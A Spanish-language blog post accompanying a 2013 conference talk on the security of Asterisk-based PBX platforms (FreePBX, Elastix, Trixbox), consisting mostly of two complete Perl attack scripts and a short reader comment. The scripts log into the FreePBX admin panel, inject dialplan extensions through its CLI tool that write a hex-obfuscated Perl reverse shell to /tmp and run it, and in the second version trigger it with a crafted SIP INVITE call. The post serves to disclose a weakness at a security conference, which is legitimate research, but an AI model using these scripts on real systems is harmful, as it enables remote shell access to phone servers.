Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:
Los slides se pueden ver o descargar en Slideshare:
Y los dos scripts usados durante la charla:
Primer script:
#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);
my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);
my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');
my $result = GetOptions ("h=s" => \$host,
"u=s" => \$user,
"ip=s" => \$ip,
"port=s" => \$port,
"p=s" => \$pass,
"cli=s" => \$cli,
"ext=s" => \$ext,
"cs+" => \$create,
"es+" => \$execute);
if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");
# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";
$ip = encode($ip);
$port = encode($port);
# Comandos para crear una shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";
# Comandos para ejecutar la shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local
my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";
my $url = "http://" . $host . "/admin/config.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ username => $user, password => $pass, submit => 'Login' ]);
my $response = $ua->post($url, @header);
$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;
$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;
$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";
if ($cli ne "") {
my $res = asterisk_cli($cli);
print "$res\n";
}
if ($create eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($sc1);
asterisk_cli($sc2);
asterisk_cli($sc3);
asterisk_cli($sc4);
asterisk_cli($sc5);
asterisk_cli($sc6);
asterisk_cli($sc7);
asterisk_cli($sc8);
asterisk_cli($sc9);
asterisk_cli($sc10);
my $res = asterisk_cli($dshow);
print "$res\n";
}
if ($execute eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($se1);
asterisk_cli($se2);
asterisk_cli($se3);
my $res = asterisk_cli($dshow);
print "$res\n";
}
exit;
sub asterisk_cli {
my $command = shift;
@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ txtCommand => $command ]);
my $response = $ua->post($url, @header);
my $result = $response->content;
my $x = index($result, "<pre>") + 5;
my $y = index($result, "</pre>");
$result = substr($result, $x, $y-$x);
return $result;
}
sub encode {
my $data = shift;
$data =~ s/3/\\\\x33/g;
$data =~ s/1/\\\\x31/g;
$data =~ s/2/\\\\x32/g;
$data =~ s/4/\\\\x34/g;
$data =~ s/5/\\\\x35/g;
$data =~ s/6/\\\\x36/g;
$data =~ s/7/\\\\x37/g;
$data =~ s/8/\\\\x38/g;
$data =~ s/9/\\\\x39/g;
$data =~ s/\./\\\\x2e/g;
return $data;
}
sub help {
print qq{
:: FreePBX for fun & profit - by Pepelux ::
-------------------------------------
Uso: $0 -h <host> -u <user> -p <pass> [opciones]
== Opciones ==
-cli <commando> = Ejecutar comando de Asterisk
-cs = Crear una shell
-es = Ejecutar una shell
-ip = Nuestra IP para la shell (para -cs)
-port = Puerto para la shell (por defecto: 31337)
-ext = Extension a crear (por defecto: 999)
== Ejemplos ==
$0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
$0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
$0 -h 192.168.1.1 -u admin -p 12345 -es
};
print "\n";
exit 1;
}
Segundo script:
#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);
my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;
print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
my $result = GetOptions ("h=s" => \$host,
"u=s" => \$user,
"ip=s" => \$ip,
"port=s" => \$port,
"p=s" => \$pass,
"cli=s" => \$cli,
"ext=s" => \$ext,
"call+" => \$call,
"user=s" => \$euser,
"pass=s" => \$epass,
"cs+" => \$create,
"es+" => \$execute,
"auto+" => \$auto);
if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }
$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");
if ($auto eq 1) {
$create = 1;
$execute = 1;
}
# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";
my $origip = $ip;
$ip = encode($ip);
$port = encode($port);
# Comandos para crear una shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";
# Comandos para ejecutar la shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local
my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";
my $url = "http://" . $host . "/admin/config.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ username => $user, password => $pass, submit => 'Login' ]);
my $response = $ua->post($url, @header);
$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;
$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;
$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";
if ($cli ne "") {
my $res = asterisk_cli($cli);
print "$res\n";
}
if ($create eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($sc1);
asterisk_cli($sc2);
asterisk_cli($sc3);
asterisk_cli($sc4);
asterisk_cli($sc5);
asterisk_cli($sc6);
asterisk_cli($sc7);
asterisk_cli($sc8);
asterisk_cli($sc9);
asterisk_cli($sc10);
my $res = asterisk_cli($dshow);
print "$res\n";
if ($call eq 1) {
sleep(5);
invite($ext, $host, "5060", $origip, $euser, $epass);
sleep(3);
}
}
if ($execute eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($se1);
asterisk_cli($se2);
asterisk_cli($se3);
my $res = asterisk_cli($dshow);
print "$res\n";
if ($call eq 1) {
sleep(5);
invite($ext, $host, "5060", $origip, $euser, $epass);
sleep(3);
}
}
exit;
sub asterisk_cli {
my $command = shift;
@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ txtCommand => $command ]);
my $response = $ua->post($url, @header);
my $result = $response->content;
my $x = index($result, "<pre>") + 5;
my $y = index($result, "</pre>");
$result = substr($result, $x, $y-$x);
return $result;
}
sub encode {
my $data = shift;
$data =~ s/3/\\\\x33/g;
$data =~ s/1/\\\\x31/g;
$data =~ s/2/\\\\x32/g;
$data =~ s/4/\\\\x34/g;
$data =~ s/5/\\\\x35/g;
$data =~ s/6/\\\\x36/g;
$data =~ s/7/\\\\x37/g;
$data =~ s/8/\\\\x38/g;
$data =~ s/9/\\\\x39/g;
$data =~ s/\./\\\\x2e/g;
return $data;
}
sub invite {
my $tfno = shift;
my $astip = shift;
my $nport = shift;
my $myip = shift;
my $user = shift;
my $pass = shift;
print "\nRealizando llamada ... \n\n";
my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);
my $lport = $sc->sockport();
my $branch = &generate_random_string(71, 0);
my $callerid = &generate_random_string(32, 1);
my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
$msg .= "Max-Forwards: 70\n";
$msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
$msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
$msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
$msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
$msg .= "CSeq: 1 INVITE\n";
$msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
$msg .= "Content-Type: application/sdp\n";
$msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
$msg .= "User-Agent: Zoiper rev.11619\n";
$msg .= "Allow-Events: presence, kpml\n";
$msg .= "Content-Length: 181\n\n";
$msg .= "v=0\n";
$msg .= "o=Z 0 0 IN IP4 $myip\n";
$msg .= "s=Z\n";
$msg .= "c=IN IP4 $myip\n";
$msg .= "t=0 0\n";
$msg .= "m=audio 8000 RTP/AVP 0 101\n";
$msg .= "a=rtpmap:0 PCMU/8000\n";
$msg .= "a=rtpmap:101 telephone-event/8000\n";
$msg .= "a=fmtp:101 0-15\n";
$msg .= "a=sendrecv\n\n";
print $sc $msg;
print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);
my $nonce = "";
my $realm = "";
my $data = "";
LOOP: {
while (<$sc>) {
my $line = $_;
if ($line =~ /nonce/ && $nonce eq "") {
$line =~ /nonce\=\"(\w+)\"/i;
if ($1) {
$nonce = $1;
}
}
if ($line =~ /realm/ && $realm eq "") {
$line =~ /realm\=\"(\w+)\"/i;
if ($1) {
$realm = $1;
}
}
$data .= $line;
if ($line =~ /^\r\n/) {
last LOOP;
}
}
}
if ($data ne "") {
print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);
$msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
$msg .= "Max-Forwards: 70\n";
$msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
$msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
$msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
$msg .= "CSeq: 1 ACK\n";
$msg .= "Content-Length: 0\n\n";
print $sc $msg;
print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);
$branch = &generate_random_string(71, 0);
my $md5 = Digest::MD5->new;
$md5->add($user, ':', $realm, ':', $pass);
my $HXA = $md5->hexdigest;
my $uri = "sip:".$tfno."@".$astip.";transport=UDP";
$md5 = Digest::MD5->new;
$md5->add('INVITE', ':', $uri);
my $HXB = $md5->hexdigest;
$md5 = Digest::MD5->new;
$md5->add($HXA, ':', $nonce, ':', $HXB);
my $response = $md5->hexdigest;
$msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
$msg .= "Max-Forwards: 70\n";
$msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
$msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
$msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
$msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
$msg .= "CSeq: 2 INVITE\n";
$msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
$msg .= "Content-Type: application/sdp\n";
$msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
$msg .= "User-Agent: Zoiper rev.11619\n";
$msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
$msg .= "Allow-Events: presence, kpml\n";
$msg .= "Content-Length: 181\n\n";
$msg .= "v=0\n";
$msg .= "o=Z 0 0 IN IP4 $myip\n";
$msg .= "s=Z\n";
$msg .= "c=IN IP4 $myip\n";
$msg .= "t=0 0\n";
$msg .= "m=audio 8000 RTP/AVP 0 101\n";
$msg .= "a=rtpmap:0 PCMU/8000\n";
$msg .= "a=rtpmap:101 telephone-event/8000\n";
$msg .= "a=fmtp:101 0-15\n";
$msg .= "a=sendrecv\n\n";
print $sc $msg;
print "Sending:\n=======\n$msg\n\n" if ($v eq 1);
$data = "";
my $server = "";
LOOP: {
while (<$sc>) {
my $line = $_;
if ($line =~ /[Ss]erver/ && $server eq "") {
$line =~ /[Ss]erver\:\s(.+)\r\n/;
if ($1) {
$server = $1;
}
}
$data .= $line;
if ($line =~ /^\r\n/) {
last LOOP;
}
}
}
if ($v eq 1) {
print "\nReceiving:\n=========\n$data\n\n";
}
my $dhost = "$astip:$nport";
$dhost .= "\t" if (length($dhost) < 10);
$server = "Unknown" if ($server eq "");
}
print "Llamada finalizada \n\n";
}
sub generate_random_string {
my $length_of_randomstring = shift;
my $only_hex = shift;
my @chars;
if ($only_hex == 0) {
@chars = ('a'..'z','0'..'9');
}
else {
@chars = ('a'..'f','0'..'9');
}
my $random_string;
foreach (1..$length_of_randomstring) {
$random_string.=$chars[rand @chars];
}
return $random_string;
}
sub help {
print qq{
:: FreePBX for fun & profit - by Pepelux ::
-------------------------------------
Uso: $0 -h <host> -u <user> -p <pass> [opciones]
== Opciones ==
-cli <commando> = Ejecutar comando de Asterisk
-cs = Crear una shell
-es = Ejecutar una shell
-auto = Crea y ejecuta una shell
-ip = Nuestra IP para la shell (para -cs y -call)
-port = Puerto para la shell (por defecto: 31337)
-ext = Extension a crear (por defecto: 999)
-call = Realizar llamada tras la inyeccion
-user = Usuario de nuestra extension
-pass = Password de nuestra extension
== Ejemplos ==
$0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
$0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
$0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
$0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
};
print "\n";
exit 1;
}
Saludos!
Follow
Estimado pepelux he analizado su material de manera rapida y quiero felicitarlo por poner a nuestra disposición esta excelente información . Me he dado cuenta que todavia no estoy preparado para la migración a este tipo de sistemas. le envio un saludo desde Mexico.-